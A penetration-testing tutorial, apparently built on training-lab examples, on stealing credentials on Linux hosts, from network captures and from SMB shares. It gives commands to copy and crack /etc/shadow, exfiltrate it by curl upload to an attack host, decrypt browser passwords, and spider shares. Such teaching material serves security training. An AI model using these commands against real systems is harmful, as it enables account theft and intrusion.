October 28, 2026

Extracting Passwords from Linux Systems & the Network — A Practitioner’s Reference

A reference for dumping Linux credentials, hunting stored secrets, and extracting credentials from network traffic and shares. Organized by…

By Gabriel D. Vincent

20 min read

A reference for dumping Linux credentials, hunting stored secrets, and extracting credentials from network traffic and shares. Organized by use case, not theory.

When to Use What

  • Root access on a Linux host → Copy passwd + shadow → unshadow → Hashcat or JtR
  • Users have changed passwords before → Check /etc/security/opasswd for reused hashes
  • Post-exploitation on Linux → Hunt config files, databases, notes, scripts, cronjobs, history, and logs for plaintext credentials
  • Active desktop session on Linux → mimipenguin to dump in-memory credentials
  • Browsers used on the target → firefox_decrypt or LaZagne for saved browser passwords
  • Broad automated Linux sweep → LaZagne across all credential stores at once
  • Packet capture file available → Pcredz for a fast automated sweep, or Wireshark for manual analysis
  • Live network traffic accessible → Wireshark with protocol filters for HTTP, FTP, SNMP
  • Domain-joined Windows machine available → Snaffler or PowerHuntShares for share hunting
  • Only Linux access, valid SMB credentials → MANSPIDER or NetExec --spider for share hunting

Background — How Linux Stores Credentials

Linux-based distributions authenticate users through Pluggable Authentication Modules (PAM). The core module, pam_unix.so, reads from and writes to two files — /etc/passwd and /etc/shadow — whenever a user logs in or changes their password. Understanding these two files, plus a third (opasswd), determines which attack path is available.

/etc/passwd is world-readable and contains one entry per user across seven colon-separated fields. The password field normally holds x, meaning the real hash lives in /etc/shadow.

Format: username:password:UID:GID:GECOS:home_directory:shell

Example: htb-student:x:1000:1000:,,,:/home/htb-student:/bin/bash

On old or misconfigured systems the password field can hold the hash directly — and because the file is world-readable, anyone can then crack it. A rarer but more serious misconfiguration: if /etc/passwd is writable, or the root entry's password field is blank, root can be logged into with no password at all. An entry like root::0:0:root:/root:/bin/bash (empty second field) means su returns a root shell with no prompt. This usually happens when an admin assigns broad write permissions to /etc for an application and never walks them back.

/etc/shadow is readable only by root and holds the actual hashes across nine colon-separated fields. The hash field follows the format $id$salt$hash, where the ID identifies the algorithm. A ! or * in this field means no Unix password login is possible (though Kerberos or key-based auth may still work); an empty field means no password is required.

Hash algorithm IDs:

$1$ — MD5 (weak, easy to crack)

$2a$ — Blowfish

$5$ — SHA-256

$6$ — SHA-512

$sha1$ — SHA1crypt

$y$ — Yescrypt (default on modern Debian/Ubuntu)

$gy$ — Gost-yescrypt

$7$ — Scrypt

/etc/security/opasswd stores previously used password hashes so PAM can prevent reuse. Requires root to read. It often contains older, weaker hashes (MD5 $1$) that crack far faster than current hashes — and expose password patterns.

⚠️ Practitioner note: A user whose current hash is Yescrypt but whose opasswd entry is MD5 gives you a much faster crack path for historical passwords. Password patterns (e.g. Summer2022! → Summer2023!) let you predict the current password even when the old one is the only one you crack. Credentials on Linux fall into four hunting categories: Files (configs, databases, notes, scripts, cronjobs, SSH keys), History (command history and logs), Memory (cache and in-memory processes), and Key-rings (browser and keyring stores). Enumerate all four.

Cracking Linux Credentials

Best for: recovering plaintext passwords from dumped Linux account hashes after gaining root access.

Dump and Crack /etc/passwd + /etc/shadow

When to Use:

  • You have root access on a Linux host
  • You want to crack local account passwords offline
  • You need to crack multiple accounts at once

Pre-check:

# 🎯 target (Linux) — confirm root access
whoami
# Expected: root
# 🎯 target (Linux) — confirm both files exist and are readable
ls -la /etc/passwd /etc/shadow
# 🎯 target (Linux) — check what hash algorithm is in use
# Look at the $id$ prefix in /etc/shadow entries ($6$ = SHA-512, $y$ = Yescrypt, etc.)
sudo head -5 /etc/shadow
# 🖥️ attack host (Linux) — confirm unshadow and your cracker are installed
which unshadow hashcat john

Step 1 — Copy both files to a working directory on the target:

# 🎯 target (Linux)
sudo cp /etc/passwd /tmp/passwd.bak
sudo cp /etc/shadow /tmp/shadow.bak

Step 2 — Transfer both files to your attack host:

For a full reference of Linux file transfer options see: Linux File Transfer Methods — A Practitioner's Reference

# 🖥️ attack host (Linux) — serve a receiver with uploadserver
python3 -m uploadserver
# 🎯 target (Linux) — upload both files to your attack host
# Example: curl -X POST http://10.10.15.16:8000/upload -F 'files=@/tmp/passwd.bak' -F 'files=@/tmp/shadow.bak'
curl -X POST http://<ATTACK_HOST_IP>:8000/upload -F 'files=@/tmp/passwd.bak' -F 'files=@/tmp/shadow.bak'

Step 3 — Combine passwd and shadow into one crackable file with unshadow:

# 🖥️ attack host (Linux)
# unshadow merges both files into the format JtR and Hashcat expect
# Example: unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes
unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes

# Confirm the file was created and review the contents
cat /tmp/unshadowed.hashes

Step 4a — Crack with Hashcat (mode 1800 = sha512crypt $6$):

# 🖥️ attack host (Linux)
# Example: hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked
hashcat -m 1800 -a 0 /tmp/unshadowed.hashes /usr/share/wordlists/rockyou.txt -o /tmp/unshadowed.cracked

Step 4b — Alternative: Crack with JtR single crack mode (uses username and GECOS info):

# 🖥️ attack host (Linux)
# Single crack mode is designed specifically for Linux shadow files — try it first
# Example: john --single /tmp/unshadowed.hashes
john --single /tmp/unshadowed.hashes

Post-check:

# 🖥️ attack host (Linux) — show cracked passwords (Hashcat)
cat /tmp/unshadowed.cracked
# Output format: <hash>:<plaintext_password>

# 🖥️ attack host (Linux) — show cracked passwords (JtR)
john /tmp/unshadowed.hashes --show
# Output format: username:plaintext_password

⚠️ Practitioner note: Match the Hashcat mode to the hash algorithm — mode 1800 is sha512crypt ($6$), mode 500 is MD5crypt ($1$), mode 7400 is sha256crypt ($5$). Yescrypt ($y$) is not cracked by standard Hashcat; use JtR, which supports it. JtR single crack mode is purpose-built for Linux credentials — it uses the username, home directory, and GECOS fields to generate targeted candidates and often cracks weak passwords faster than a wordlist. This is the exact scenario single crack mode was designed for.

Check opasswd for Old Password Hashes

Best for: recovering historical passwords and spotting reuse patterns from PAM's password-history file.

When to Use:

  • You have root access and want to check for reused or patterned passwords
  • The current hash is a slow algorithm but opasswd may contain faster MD5 hashes

Pre-check:

# 🎯 target (Linux) — confirm the file exists and you can read it
sudo ls -la /etc/security/opasswd

Read old password hashes:

# 🎯 target (Linux)
sudo cat /etc/security/opasswd
# Format: username:UID:count:hash1,hash2,...
# Look for $1$ (MD5) entries — these crack much faster than SHA-512

Post-check:

# 🖥️ attack host (Linux) — crack any MD5 opasswd hashes (mode 500)
# Save the hash to a file or pass it inline
# Example: hashcat -m 500 '$1$HjFAfYTG$qNDkF0zJ3v8ylCOrKB0kt0' rockyou.txt
hashcat -m 500 '<MD5_HASH>' /usr/share/wordlists/rockyou.txt

# Show the cracked result
hashcat -m 500 '<MD5_HASH>' /usr/share/wordlists/rockyou.txt --show

⚠️ Practitioner note: opasswd entries are comma-separated — there may be multiple old hashes per user. Cracking old passwords is valuable even when users are forced to change them, because most users follow predictable patterns like incrementing a number or swapping a special character. One cracked old password often reveals the structure of the current one.

Credential Hunting in Linux

Best for: post-exploitation discovery of credentials stored in files, history, memory, and browsers on a compromised Linux host. Low-hanging fruit here can escalate privileges within minutes.

Search Configuration Files

Best for: finding credentials and service details inside the config files that drive Linux services.

When to Use:

  • You have a shell on a Linux host and want to find credentials in service config files
  • Targeting web servers, databases, mail servers, and other configured services

Pre-check:

# 🎯 target (Linux) — confirm your current shell and access level
whoami
id

Step 1 — Find all config files by extension (.conf, .config, .cnf):

# 🎯 target (Linux)
for l in $(echo ".conf .config .cnf"); do
  echo -e "\nFile extension: $l"
  find / -name "*$l" 2>/dev/null | grep -v "lib\|fonts\|share\|core"
done

Step 2 — Search config file contents for credential-related strings:

# 🎯 target (Linux) — example shown for .cnf; repeat for .conf and .config
for i in $(find / -name "*.cnf" 2>/dev/null | grep -v "doc\|lib"); do
  echo -e "\nFile: $i"
  grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#"
done

Post-check:

# 🎯 target (Linux) — open any interesting files returned
# Example: cat /etc/mysql/mysql.conf.d/mysqld.cnf
cat <FILEPATH>

⚠️ Practitioner note: Config files can be renamed or recompiled with non-standard names, so the three extensions above are a starting point, not a guarantee. Database configs (my.cnf, mysqld.cnf, pg_hba.conf) and web application configs (wp-config.php, .env, database.yml) are the highest-value targets. Always check /var/www/html/ on web servers and /opt/ for third-party applications.

Search Database, Note, and Script Files

Best for: finding credentials inside local database files, loosely-named note files, and automation scripts.

When to Use:

  • The target hosts web applications or services that use local database files
  • You suspect admins left notes or credential lists on the system
  • Scripts may contain hardcoded credentials for automated processes

Pre-check:

# 🎯 target (Linux) — confirm your current directory and user context
whoami
pwd

Search for database files by extension:

# 🎯 target (Linux)
for l in $(echo ".sql .db .*db .db*"); do
  echo -e "\nDB File extension: $l"
  find / -name "*$l" 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man"
done

Search for notes — .txt files and files with no extension at all:

# 🎯 target (Linux) — notes are often unnamed and have no standard extension
find /home/* -type f -name "*.txt" -o ! -name "*.*" 2>/dev/null

Search for scripts by extension:

# 🎯 target (Linux)
for l in $(echo ".py .pyc .pl .go .jar .c .sh"); do
  echo -e "\nFile extension: $l"
  find / -name "*$l" 2>/dev/null | grep -v "doc\|lib\|headers\|share"
done

Post-check:

# 🎯 target (Linux) — inspect any SQLite database files found
# Example: sqlite3 /home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/key4.db .dump
sqlite3 <DB_FILE> .dump 2>/dev/null | grep -i "pass\|user\|cred"

# 🎯 target (Linux) — open any note or script of interest
# Look for hardcoded usernames, passwords, or API keys
cat <FILEPATH>

⚠️ Practitioner note: Firefox credential databases (cert9.db, key4.db) live under ~/.mozilla/firefox/<profile>/ and show up in a .db search — these are high-value and covered in the Firefox section below. Scripts frequently embed credentials so they can run unattended, so a developer or admin home directory is often the richest source.

Enumerate Cronjobs

Best for: finding credentials embedded in scheduled tasks and the scripts they call.

When to Use:

  • Cronjobs running as root may reference scripts with embedded passwords
  • Some applications are incorrectly configured with credentials directly in the crontab
  • You want to understand what runs automatically on the system

Pre-check:

# 🎯 target (Linux) — confirm you can read the system crontab
ls -la /etc/crontab

Inspect the system-wide crontab:

# 🎯 target (Linux)
cat /etc/crontab

Inspect the cron directories (system-wide and time-based):

# 🎯 target (Linux) — covers /etc/cron.d and cron.daily/hourly/weekly/monthly
ls -la /etc/cron.d/
ls -la /etc/cron.*/

Post-check:

# 🎯 target (Linux) — open any script referenced in a crontab entry
# Look for hardcoded usernames, passwords, or API keys inside the script
cat <SCRIPT_PATH>

⚠️ Practitioner note: Cron entries have a username field, so a job running as root that calls a world-readable script is a classic privilege-escalation path — read the script for credentials first, then check whether you can write to it. Debian-based systems keep additional cron scripts in /etc/cron.d/.

Search Bash History and Log Files

Best for: finding credentials typed directly on the command line or recorded in system logs.

When to Use:

  • Users may have typed passwords directly in commands (database connections, API calls, SSH)
  • Logs may contain authentication events, credentials passed as arguments, or sudo commands
  • You want to understand what the compromised user has been doing on the system

Pre-check:

# 🎯 target (Linux) — check which users have history files
ls -la /home/*/.bash_history 2>/dev/null
ls -la /root/.bash_history 2>/dev/null

# 🎯 target (Linux) — check what log files exist
ls /var/log/

Check history files for all users (includes .bashrc and .bash_profile):

# 🎯 target (Linux)
tail -n5 /home/*/.bash*

Search log files for authentication and credential-related strings:

# 🎯 target (Linux)
for i in $(ls /var/log/* 2>/dev/null); do
  GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null)
  if [[ $GREP ]]; then
    echo -e "\n#### Log file: $i"
    grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null
  fi
done

Post-check:

# 🎯 target (Linux) — review history for credentials typed as command arguments
# Look for patterns like: su, ssh, mysql -u, curl -u, wget --password
grep -E "passw|pass|user|token|key|secret" /home/*/.bash_history /root/.bash_history 2>/dev/null

⚠️ Practitioner note: Bash history is one of the highest-yield sources on Linux. Users type passwords directly in commands constantly — mysql -u root -pMyPassword, curl -u user:pass, and script invocations that take a password as an argument all land in history in plaintext. Check /root/.bash_history separately; it usually holds the most sensitive commands. Key log files: /var/log/auth.log (Debian) and /var/log/secure (RHEL/CentOS) for authentication events.

Memory Credential Extraction — mimipenguin

Best for: extracting credentials from memory for a user currently logged into a Linux desktop session.

When to Use:

  • A user is actively logged into a GNOME or other desktop session on the target
  • You have root access and want in-memory credentials without file hunting

Pre-check:

# 🎯 target (Linux) — confirm root access and Python3 is available
whoami
which python3

# 🎯 target (Linux) — confirm mimipenguin is present, or transfer it
# Download from: https://github.com/huntergregal/mimipenguin
# For transfer methods see: https://medium.com/@gabriel-dakinah-vincent/linux-file-transfer-methods-a-practitioners-reference-ecdf1f4347f6
ls mimipenguin.py 2>/dev/null || echo "Transfer mimipenguin.py to target first"

Run mimipenguin:

# 🎯 target (Linux)
# Example: sudo python3 mimipenguin.py
sudo python3 mimipenguin.py

Post-check:

# 🎯 target (Linux) — look for cleartext credentials in the output
# Output format: [source] username:password
# Example: [SYSTEM - GNOME]  cry0l1t3:WLpAEXFa0SbqOHY

⚠️ Practitioner note: mimipenguin targets GNOME Keyring, KWallet, and other desktop session credential stores. It only works when a user is actively logged into a graphical session — on a headless server it returns nothing. It requires root.

LaZagne — Automated Credential Sweep

Best for: quickly sweeping a Linux host for credentials stored by applications, browsers, system tools, and keyrings in a single command.

When to Use:

  • You want a broad automated sweep before targeted manual hunting
  • The target uses browsers, mail clients, SSH, git, AWS, or keyring storage

Pre-check:

# 🎯 target (Linux) — confirm Python is available (LaZagne on Linux prefers Python 2.7)
which python2.7 python3

# 🎯 target (Linux) — transfer LaZagne if not present
# Download from: https://github.com/AlessandroZ/LaZagne
# For transfer methods see: https://medium.com/@gabriel-dakinah-vincent/linux-file-transfer-methods-a-practitioners-reference-ecdf1f4347f6
ls laZagne.py 2>/dev/null || echo "Transfer laZagne.py to target first"

Run all modules:

# 🎯 target (Linux)
# Example: sudo python2.7 laZagne.py all
sudo python2.7 laZagne.py all

Run the browser module only:

# 🎯 target (Linux)
# Example: python3 laZagne.py browsers
python3 laZagne.py browsers

Post-check:

# 🎯 target (Linux) — look for [+] Password found !!! lines in the output
# Output includes Login and Password (and URL for browser credentials)
# Re-run with -v to see what each module is checking
sudo python2.7 laZagne.py all -v

⚠️ Practitioner note: On Linux, LaZagne pulls from shadow passwords, browsers (Firefox, Chromium), keyrings (GNOME, KDE), SSH keys, git, AWS, FileZilla, Docker, KeePass, and more. Root access dramatically expands what it can retrieve, including shadow hashes. If Python 2.7 is not installed, the browsers module runs under Python 3.

Firefox Saved Credentials — firefox_decrypt

Best for: decrypting saved website credentials from a Firefox profile found on the target.

When to Use:

  • You found Firefox database files (logins.json, key4.db, cert9.db) on the target
  • The LaZagne browser module returned Firefox credentials you want to verify
  • You want to decrypt Firefox credentials from a copied profile

Pre-check:

# 🎯 target (Linux) — find Firefox profile directories
ls -l ~/.mozilla/firefox/ | grep default
# or for all users:
find /home -name "logins.json" 2>/dev/null

Confirm encrypted credentials are present in logins.json:

# 🎯 target (Linux)
# Example: cat ~/.mozilla/firefox/1bplpd86.default-release/logins.json | jq .
cat ~/.mozilla/firefox/<PROFILE>/logins.json | jq .
# Look for: encryptedUsername and encryptedPassword fields

Step 1 — Copy the entire Firefox profile to your attack host:

# 🎯 target (Linux) — the full profile is required, not just logins.json
# Example: scp -r ~/.mozilla/firefox/1bplpd86.default-release user@10.10.15.16:/tmp/ff_profile/
scp -r ~/.mozilla/firefox/<PROFILE>/ <USER>@<ATTACK_HOST_IP>:/tmp/ff_profile/
# For other transfer methods see: https://medium.com/@gabriel-dakinah-vincent/linux-file-transfer-methods-a-practitioners-reference-ecdf1f4347f6

Step 2 — Run firefox_decrypt against the copied profile:

# 🖥️ attack host (Linux) — requires Python 3.9+ for the latest version
# Download from: https://github.com/unode/firefox_decrypt
# Example: python3.9 firefox_decrypt.py /tmp/ff_profile/
python3.9 firefox_decrypt.py /tmp/ff_profile/
# Select the profile number when prompted

Post-check:

# 🖥️ attack host (Linux) — credentials appear in plaintext
# Output format:
# Website:   https://www.example.com
# Username: 'username'
# Password: 'password'

⚠️ Practitioner note: firefox_decrypt needs the whole profile directory, not just logins.json — the decryption key lives in key4.db. If Python 3.9 is unavailable, Firefox Decrypt 0.7.0 runs under Python 2. LaZagne's browser module is a quicker first pass; use firefox_decrypt when you want to decrypt a profile you have copied off the target.

Credential Hunting in Network Traffic

Best for: extracting cleartext credentials from packet captures or live traffic where unencrypted protocols are in use. Legacy systems, misconfigured services, and test apps launched without TLS still leak credentials in the clear.

Wireshark — Protocol Analysis and Filtering

When to Use:

  • You have a .pcap or .pcapng file to analyse
  • You have access to live traffic on a segment using unencrypted protocols
  • Hunting for credentials in HTTP, FTP, SNMP, POP3, IMAP, SMTP, or LDAP traffic

Pre-check:

# 🖥️ attack host (Linux) — confirm Wireshark is installed
which wireshark tshark

# 🖥️ attack host (Linux) — confirm you have a capture file to analyse
ls -lh <PCAP_FILE>

Open the capture in the Wireshark GUI:

# 🖥️ attack host (Linux)
# Example: wireshark demo.pcapng
wireshark <PCAP_FILE>

Useful display filters:

http — all HTTP traffic

http.request.method == "POST" — HTTP POST requests (most likely to carry login credentials)

http contains "passw" — HTTP packets containing the string "passw"

ftp — FTP traffic (USER and PASS sent in cleartext)

snmp — SNMP traffic (community strings visible in cleartext)

tcp.port == 21 — FTP control channel by port

ip.src == <IP> && ip.dst == <IP> — traffic between two specific hosts

tcp.stream eq <N> — follow one TCP conversation

Search inside packets for a string:

In Wireshark: Edit → Find Packet → String → type "passw" or "user"

Command-line alternative with tshark — extract HTTP POST bodies:

# 🖥️ attack host (Linux)
# Example: tshark -r demo.pcapng -Y "http.request.method==POST" -T fields -e http.file_data
tshark -r <PCAP_FILE> -Y "http.request.method==POST" -T fields -e http.file_data

Post-check:

# 🖥️ attack host (Linux) — what to look for in the results
# FTP: USER and PASS commands in cleartext
# HTTP form login: username/password fields in POST data
# HTTP Basic Auth: Authorization: Basic <base64> headers
# SNMP: community strings in plaintext

⚠️ Practitioner note: Even in mostly-HTTPS environments, internal server-to-server traffic often uses unencrypted protocols — database connections, SNMP monitoring, legacy application APIs. If you can position yourself on an internal segment, even a few minutes of capture can yield credentials. HTTP POST requests to login forms are the single highest-value target.

Pcredz — Automated Credential Extraction from Captures

Best for: quickly scanning a capture for every credential type at once, without building Wireshark filters by hand.

When to Use:

  • You have a .pcap or .pcapng file and want a fast automated sweep
  • Looking for NTLMv1/v2 hashes, Kerberos AS-REQ hashes, FTP, POP, SMTP, IMAP, SNMP, HTTP Basic/forms, and credit card data

Pre-check:

# 🖥️ attack host (Linux) — clone and install Pcredz
git clone https://github.com/lgandx/PCredz.git
cd PCredz
pip3 install -r requirements.txt

# 🖥️ attack host (Linux) — or use the Docker container to avoid dependency issues
# Example: docker run --rm -v $(pwd):/pcredz lgandx/pcredz -f /pcredz/demo.pcapng -t -v
docker run --rm -v $(pwd):/pcredz lgandx/pcredz -f /pcredz/<PCAP_FILE> -t -v

Run Pcredz against a capture file:

# 🖥️ attack host (Linux)
# -t = enable credit card scanning | -v = verbose
# Example: ./Pcredz -f demo.pcapng -t -v
./Pcredz -f <PCAP_FILE> -t -v

Post-check:

# 🖥️ attack host (Linux) — look for credential lines in the output, e.g.:
# Found SNMPv2 Community string: <string>
# FTP User: <username>
# FTP Pass: <password>
# NTLMv2 hash lines (crack with Hashcat mode 5600)

⚠️ Practitioner note: Pcredz extracts NTLMv2 hashes from SMB, HTTP, LDAP, MSSQL, and DCE-RPC traffic — crack these offline with Hashcat mode 5600. Kerberos AS-REQ pre-auth hashes (etype 23) crack with Hashcat mode 18200. Any hash pulled from the network is worth cracking, and these are far more common in modern traffic than cleartext passwords.

Credential Hunting in Network Shares

Best for: locating credentials left behind in files on SMB shares across a corporate environment. Shares are a goldmine when plaintext credentials or config files are stored on them.

Common Patterns to Search For

Before running any tool, know what you are looking for:

Keywords inside files: passw, user, token, key, secret, cred. For a specific domain, also search the domain prefix, e.g. INLANEFREIGHT\.

File extensions of interest: .ini, .cfg, .env, .xlsx, .ps1, .bat, .xml, .txt.

File names of interest: anything containing config, user, passw, cred, or initial.

High-value share targets: IT, HR, SYSVOL, NETLOGON — prioritise these over Marketing or company-photo shares.

Localise keywords to the target: a German company is more likely to use Benutzer than user.

A quick command-line pass before scaling up to dedicated tools:

# 🎯 target (Windows PowerShell) — basic share search before automating
# Example: Get-ChildItem -Recurse -Include *.ini \\DC01\IT | Select-String -Pattern "passw"
Get-ChildItem -Recurse -Include *.<EXT> \\<SERVER>\<SHARE> | Select-String -Pattern "<PATTERN>"

Snaffler — Automated Share Hunting from Windows

Best for: fast automated credential hunting across all accessible domain shares from a domain-joined Windows machine.

When to Use:

  • You have a shell or RDP session on a domain-joined Windows machine
  • You want to automatically enumerate readable shares and surface interesting files

Pre-check:

# 🎯 target (Windows PowerShell) — confirm domain membership
whoami /fqdn

# 🎯 target (Windows PowerShell) — confirm Snaffler.exe is available
# Often staged at C:\Users\Public\Snaffler.exe on lab targets
# Or download from: https://github.com/SnaffCon/Snaffler/releases
ls C:\Users\Public\Snaffler.exe

Run a basic scan across all accessible shares:

REM 🎯 target (Windows cmd.exe)
REM Example: Snaffler.exe -s
C:\Users\Public\Snaffler.exe -s

Pull AD users and search files for references to them:

REM 🎯 target (Windows cmd.exe)
REM -u retrieves the user list from AD and searches files for references to them
C:\Users\Public\Snaffler.exe -s -u

Limit the search to specific shares:

REM 🎯 target (Windows cmd.exe) — -i includes only the named shares
REM Example: Snaffler.exe -s -i \\DC01\IT,\\DC01\HR
C:\Users\Public\Snaffler.exe -s -i <SHARE_PATHS>

Post-check:

REM 🎯 target (Windows cmd.exe) — review the output colour codes
REM {Red}    = high-confidence credential or sensitive file
REM {Yellow} = interesting file worth reviewing
REM {Green}  = readable share identified
REM Manually open any {Red} file paths and inspect the content

⚠️ Practitioner note: Snaffler produces a lot of output and a fair share of false positives — triage {Red} entries first. Common high-value red findings are unattend.xml (may hold a base64 AdministratorPassword), .env files, and PowerShell scripts with hardcoded credentials. The -u and -i/-n flags are the fastest way to cut the noise.

PowerHuntShares — Share Enumeration with HTML Report

Best for: generating a structured HTML report of share permissions and sensitive files — useful for both attacking and client reporting.

When to Use:

  • You want a visual, browsable summary of share findings
  • You need to document excessive share permissions for a report
  • You are not necessarily on a domain-joined machine

Pre-check:

# 🎯 target (Windows PowerShell) — confirm PowerHuntShares is available
# Often staged at C:\Users\Public\PowerHuntShares on lab targets
# Or download from: https://github.com/NetSPI/PowerHuntShares
ls C:\Users\Public\PowerHuntShares\

Run a basic scan and generate the HTML report:

# 🎯 target (Windows PowerShell)
cd C:\Users\Public\PowerHuntShares
# Example: Invoke-HuntSMBShares -Threads 100 -OutputDirectory C:\Users\Public
Invoke-HuntSMBShares -Threads 100 -OutputDirectory <OUTPUT_DIR>

Post-check:

# 🎯 target (Windows PowerShell) — find and open the generated report
ls <OUTPUT_DIR>
# Open the HTML file in a browser and focus on:
# Critical/High severity findings, and the Sensitive and Secrets file categories

⚠️ Practitioner note: PowerHuntShares can take hours in large environments — the module warns of this itself. Run it in a dedicated terminal and let it finish. The HTML report categorises findings by severity and is largely report-ready, which makes this the tool to reach for when documentation matters as much as the credentials.

MANSPIDER — Share Hunting from Linux

Best for: scanning SMB shares remotely from a Linux attack host using valid credentials, searching file contents across shares.

When to Use:

  • You do not have access to a domain-joined Windows machine
  • You have valid SMB credentials and want to search share contents from Linux
  • You want to grep inside files across multiple shares, not just filenames

Pre-check:

# 🖥️ attack host (Linux) — pull the official Docker image (recommended)
docker pull blacklanternsecurity/manspider

# 🖥️ attack host (Linux) — confirm the credentials are valid before scanning
# Example: netexec smb 10.129.234.121 -u mendres -p 'Inlanefreight2025!'
netexec smb <TARGET_IP> -u <USERNAME> -p '<PASSWORD>'
# Look for [+] = valid credentials confirmed

Run MANSPIDER to search file contents for a string:

# 🖥️ attack host (Linux)
# -c = search file contents for this string
# Example: docker run --rm -v ./manspider:/root/.manspider blacklanternsecurity/manspider 10.129.234.121 -c 'passw' -u 'mendres' -p 'Inlanefreight2025!'
docker run --rm -v ./manspider:/root/.manspider blacklanternsecurity/manspider <TARGET_IP> -c '<SEARCH_STRING>' -u '<USERNAME>' -p '<PASSWORD>'

Post-check:

# 🖥️ attack host (Linux) — matching files are downloaded automatically to the loot dir
ls ./manspider/loot/
cat ./manspider/loot/<FILENAME>

⚠️ Practitioner note: Use the Docker container to dodge dependency issues. Matched files download to ./manspider/loot/ automatically — review what landed there before anything else, as the file content often holds everything you need for the next step. Searches are case-insensitive by default. Be strategic: start with IT, HR, and SYSVOL rather than scanning every large share.

NetExec Spider — Share Content Search from Linux

Best for: searching one share's contents for a pattern with the NetExec you already have — no extra tooling to install.

When to Use:

  • You already have NetExec installed and valid credentials
  • You want to search a known share quickly without setting up MANSPIDER
  • You want to stay within one tool for enumeration and credential hunting

Pre-check:

# 🖥️ attack host (Linux) — confirm credentials and list available shares first
# Example: netexec smb 10.129.234.121 -u mendres -p 'Inlanefreight2025!' --shares
netexec smb <TARGET_IP> -u <USERNAME> -p '<PASSWORD>' --shares
# Identify which share to spider from the output

Spider a specific share for files containing a pattern:

# 🖥️ attack host (Linux)
# --spider = share name | --content = search inside files | --pattern = string to find
# Example: nxc smb 10.129.234.121 -u mendres -p 'Inlanefreight2025!' --spider IT --content --pattern "passw"
nxc smb <TARGET_IP> -u <USERNAME> -p '<PASSWORD>' --spider <SHARE_NAME> --content --pattern "<SEARCH_STRING>"

Post-check:

# 🖥️ attack host (Linux) — matching file paths appear in the output
# Connect to the share to retrieve a file of interest
# Example: smbclient -U mendres //10.129.234.121/IT
smbclient -U <USERNAME> //<TARGET_IP>/<SHARE_NAME>

⚠️ Practitioner note: NetExec spiders one share at a time — run it against each accessible share separately. The --content flag is required to search inside files; without it only filenames are checked. Cover multiple patterns by repeating the scan with passw, secret, token, and cred.

Quick Reference

Linux Credential Files

Copy passwd + shadow on target

sudo cp /etc/passwd /tmp/passwd.bak
sudo cp /etc/shadow /tmp/shadow.bak

Read old hashes from opasswd

sudo cat /etc/security/opasswd

Combine with unshadow

unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes

Crack with Hashcat (sha512crypt)

hashcat -m 1800 -a 0 /tmp/unshadowed.hashes /usr/share/wordlists/rockyou.txt -o /tmp/unshadowed.cracked

Crack with JtR single crack mode

john --single /tmp/unshadowed.hashes
john /tmp/unshadowed.hashes --show

Crack MD5 opasswd hash

hashcat -m 500 '<MD5_HASH>' /usr/share/wordlists/rockyou.txt

Linux Credential Hunting

Config files — find

for l in $(echo ".conf .config .cnf"); do find / -name "*$l" 2>/dev/null | grep -v "lib\|fonts\|share\|core"; done

Config files — search contents

for i in $(find / -name "*.cnf" 2>/dev/null | grep -v "doc\|lib"); do grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#"; done

Database files — find

for l in $(echo ".sql .db .*db .db*"); do find / -name "*$l" 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man"; done

Notes — find

find /home/* -type f -name "*.txt" -o ! -name "*.*" 2>/dev/null

Scripts — find

for l in $(echo ".py .pyc .pl .go .jar .c .sh"); do find / -name "*$l" 2>/dev/null | grep -v "doc\|lib\|headers\|share"; done

Cronjobs

cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.*/

Bash history

tail -n5 /home/*/.bash*
grep -E "passw|pass|user|token|key|secret" /home/*/.bash_history /root/.bash_history 2>/dev/null

Log files

for i in $(ls /var/log/* 2>/dev/null); do grep "accepted\|failed\|sudo\|COMMAND\=\|password changed" $i 2>/dev/null; done

mimipenguin

sudo python3 mimipenguin.py

LaZagne — all / browsers

sudo python2.7 laZagne.py all
python3 laZagne.py browsers

Firefox saved credentials

cat ~/.mozilla/firefox/<PROFILE>/logins.json | jq .
python3.9 firefox_decrypt.py /tmp/ff_profile/

Network Traffic

Wireshark — HTTP POST credentials

Display filter: http.request.method == "POST"
Search: Edit → Find Packet → String → "passw"

tshark — extract HTTP POST data

tshark -r <PCAP_FILE> -Y "http.request.method==POST" -T fields -e http.file_data

Pcredz against a capture file

./Pcredz -f <PCAP_FILE> -t -v

Network Shares

Snaffler — Windows domain-joined

Snaffler.exe -s
Snaffler.exe -s -u

PowerHuntShares — Windows

Invoke-HuntSMBShares -Threads 100 -OutputDirectory <OUTPUT_DIR>

MANSPIDER — Linux via Docker

docker run --rm -v ./manspider:/root/.manspider blacklanternsecurity/manspider <TARGET_IP> -c '<STRING>' -u '<USER>' -p '<PASS>'

NetExec spider — Linux

nxc smb <TARGET_IP> -u <USER> -p '<PASS>' --spider <SHARE> --content --pattern "<STRING>"

Key Practitioner Notes

Match the Hashcat mode to the hash algorithm. Check the $id$ prefix in /etc/shadow first. Mode 1800 is sha512crypt ($6$); using it on a Yescrypt ($y$) hash wastes the run — Yescrypt needs JtR, not standard Hashcat.

JtR single crack mode is purpose-built for Linux shadow files. Try it before a full wordlist attack — it uses username, home directory, and GECOS data to generate targeted candidates and cracks simple passwords in seconds.

opasswd is worth checking every time you have root. Old MD5 hashes crack far faster than SHA-512 and reveal password patterns. A user who used Summer2022! before likely uses something like Summer2024! now.

Watch for the passwordless-root misconfig. A writable /etc/passwd or an empty root password field (root::0:0:...) means su hands you root with no prompt. It is rare but costs nothing to check, and it is an instant win when present.

Bash history is one of the highest-yield Linux sources. Users type passwords in commands constantly — database connections, API calls, SSH. Check /root/.bash_history separately; it holds the most sensitive commands.

LaZagne needs root for its most valuable sources. Run it with sudo for full coverage including shadow hashes, keyrings, and system-level stores. Use it as a broad first pass before manual hunting.

